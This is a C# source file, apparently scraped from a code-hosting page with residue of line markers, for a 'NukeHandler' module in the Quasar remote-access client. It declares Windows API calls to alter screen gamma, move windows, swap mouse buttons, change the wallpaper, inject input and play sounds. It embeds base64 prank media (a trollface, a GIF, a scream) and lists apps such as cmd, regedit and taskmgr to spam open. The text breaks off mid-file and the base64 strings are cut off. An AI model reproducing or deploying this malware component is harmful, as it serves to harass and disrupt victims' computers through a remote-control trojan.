484 lines
1.4 MiB
C#
484 lines
1.4 MiB
C#
using Quasar.Common.Messages;
|
|||
|
|
using Quasar.Common.Networking;
|
||
|
|
using System;
|
||
|
|
using System.Collections.Generic;
|
||
|
|
using System.Diagnostics;
|
||
|
|
using System.Drawing;
|
||
|
|
using System.Drawing.Imaging;
|
||
|
|
using System.IO;
|
||
|
|
using System.Runtime.InteropServices;
|
||
|
|
using System.Threading;
|
||
|
|
using System.Windows.Forms;
|
||
|
|
using Microsoft.Win32;
|
||
|
|
|
||
|
|
namespace Quasar.Client.Messages
|
||
|
|
{
|
||
|
|
public class NukeHandler : IMessageProcessor, IDisposable
|
||
|
|
{
|
||
|
|
// ── P/Invoke ─────────────────────────────────────────────────────────
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
struct RAMP
|
||
|
|
{
|
||
|
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] public ushort[] R;
|
||
|
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] public ushort[] G;
|
||
|
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] public ushort[] B;
|
||
|
|
}
|
||
|
|
[DllImport("gdi32.dll")] static extern bool GetDeviceGammaRamp(IntPtr hdc, ref RAMP r);
|
||
|
|
[DllImport("gdi32.dll")] static extern bool SetDeviceGammaRamp(IntPtr hdc, ref RAMP r);
|
||
|
|
[DllImport("user32.dll")] static extern IntPtr GetDC(IntPtr h);
|
||
|
|
[DllImport("user32.dll")] static extern int ReleaseDC(IntPtr h, IntPtr dc);
|
||
|
|
[DllImport("user32.dll")] static extern bool EnumWindows(EnumWindowsProc fn, IntPtr lp);
|
||
|
|
[DllImport("user32.dll")] static extern bool IsWindowVisible(IntPtr h);
|
||
|
|
[DllImport("user32.dll")] static extern bool GetWindowRect(IntPtr h, out RECT r);
|
||
|
|
[DllImport("user32.dll")] static extern bool SetWindowPos(IntPtr h, IntPtr a, int x, int y, int cx, int cy, uint f);
|
||
|
|
[DllImport("user32.dll")] static extern int GetWindowLong(IntPtr h, int i);
|
||
|
|
[DllImport("user32.dll")] static extern int GetSystemMetrics(int i);
|
||
|
|
[DllImport("user32.dll")] static extern bool ShowWindow(IntPtr h, int cmd);
|
||
|
|
[DllImport("user32.dll")] static extern bool SystemParametersInfo(uint a, uint p, IntPtr v, uint f);
|
||
|
|
[DllImport("user32.dll")] static extern bool SystemParametersInfoStr(uint a, uint p, string v, uint f);
|
||
|
|
[DllImport("user32.dll")] static extern uint SendInput(uint n, INPUT[] inputs, int size);
|
||
|
|
[DllImport("user32.dll")] static extern bool SetSysColors(int n, int[] elems, uint[] colors);
|
||
|
|
[DllImport("user32.dll")] static extern IntPtr FindWindow(string cls, string win);
|
||
|
|
[DllImport("user32.dll")] static extern IntPtr FindWindowEx(IntPtr p, IntPtr a, string cls, string win);
|
||
|
|
[DllImport("user32.dll")] static extern IntPtr SendMessage(IntPtr h, uint msg, IntPtr w, IntPtr l);
|
||
|
|
[DllImport("winmm.dll")] static extern bool PlaySound(string n, IntPtr mod, uint flags);
|
||
|
|
[DllImport("winmm.dll")] static extern int waveOutSetVolume(IntPtr h, uint vol);
|
||
|
|
[DllImport("winmm.dll")] static extern int mciSendString(string cmd, System.Text.StringBuilder ret, int len, IntPtr hwnd);
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)] struct RECT { public int Left, Top, Right, Bottom; }
|
||
|
|
[StructLayout(LayoutKind.Sequential)] struct KEYBDINPUT { public ushort wVk, wScan; public uint dwFlags, time; public IntPtr extra; }
|
||
|
|
[StructLayout(LayoutKind.Sequential)] struct MOUSEINPUT { public int dx, dy; public uint data, flags, time; public IntPtr extra; }
|
||
|
|
[StructLayout(LayoutKind.Sequential)] struct HARDWAREINPUT { public uint msg; public ushort lo, hi; }
|
||
|
|
[StructLayout(LayoutKind.Explicit)]
|
||
|
|
struct INPUT { [FieldOffset(0)] public int type; [FieldOffset(4)] public KEYBDINPUT ki; [FieldOffset(4)] public MOUSEINPUT mi; [FieldOffset(4)] public HARDWAREINPUT hi; }
|
||
|
|
|
||
|
|
const uint LVM_GETITEMCOUNT = 0x1004;
|
||
|
|
const uint LVM_SETITEMPOSITION = 0x100F;
|
||
|
|
const uint SWP_NOSIZE = 0x0001, SWP_NOMOVE = 0x0002, SWP_NOZORDER = 0x0004, SWP_NOACTIVATE = 0x0010;
|
||
|
|
const int GWL_STYLE = -16, WS_MAXIMIZE = 0x01000000, WS_MINIMIZE = 0x20000000;
|
||
|
|
const int SM_CXSCREEN = 0, SM_CYSCREEN = 1;
|
||
|
|
const uint WM_CLOSE = 0x0010;
|
||
|
|
const int SW_HIDE = 0, SW_SHOW = 5, SW_MINIMIZE = 6, SW_RESTORE = 9;
|
||
|
|
const uint SPI_SETMOUSEBUTTONSWAP = 0x0021, SPI_SETMOUSESPEED = 0x0071;
|
||
|
|
const uint SPI_SETDESKWALLPAPER = 0x0014;
|
||
|
|
const uint SPIF_SENDCHANGE = 0x0002, SPIF_UPDATEINIFILE = 0x0001;
|
||
|
|
const uint SND_FILENAME = 0x00020000, SND_ASYNC = 0x0001, SND_LOOP = 0x0008, SND_PURGE = 0x0040;
|
||
|
|
const uint KEYEVENTF_KEYUP = 0x0002, KEYEVENTF_EXTENDEDKEY = 0x0001;
|
||
|
|
|
||
|
|
delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lp);
|
||
|
|
|
||
|
|
// ── Embedded assets ──────────────────────────────────────────────────
|
||
|
|
private static readonly byte[] TrollfaceBytes = Convert.FromBase64String("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
|
||
|
|
private static readonly byte[] ThinkFastBytes = Convert.FromBase64String("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
|
||
|
|
private static readonly byte[] ScreamBytes = Convert.FromBase64String("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
|
||
|
|
|
||
|
|
// ── Apps to spam ─────────────────────────────────────────────────────
|
||
|
|
// exe= launched directly, uri= launched via shell (UWP / protocol handlers)
|
||
|
|
private static readonly string[] _exeApps = {
|
||
|
|
"notepad.exe", "notepad.exe", "notepad.exe", "notepad.exe", // weighted heavy
|
||
|
|
"mspaint.exe", "mspaint.exe", "mspaint.exe",
|
||
|
|
"write.exe", "write.exe",
|
||
|
|
"cmd.exe", "cmd.exe",
|
||
|
|
"calc.exe",
|
||
|
|
"charmap.exe",
|
||
|
|
"osk.exe",
|
||
|
|
"snippingtool.exe",
|
||
|
|
"magnify.exe",
|
||
|
|
"narrator.exe",
|
||
|
|
"control.exe",
|
||
|
|
"regedit.exe",
|
||
|
|
"msinfo32.exe",
|
||
|
|
"winver.exe",
|
||
|
|
"explorer.exe",
|
||
|
|
"taskmgr.exe",
|
||
|
|
};
|
||
|
|
private static readonly string[] _uriApps = {
|
||
|
|
"ms-windows-store:",
|
||
|
|
"calculator:",
|
||
|
|
"ms-paint:",
|
||
|
|
"ms-photos:",
|
||
|
|
"ms-settings:",
|
||
|
|
"ms-settings-wifi:",
|
||
|
|
"ms-settings-bluetooth:",
|
||
|
|
"ms-actioncenter:",
|
||
|
|
"ms-cortana:",
|
||
|
|
"xbox:",
|
||
|
|
"zune:",
|
||
|
|
"ms-clock:",
|
||
|
|
};
|
||
|
|
|
||
|
|
// ── Gamma ramps ──────────────────────────────────────────────────────
|
||
|
|
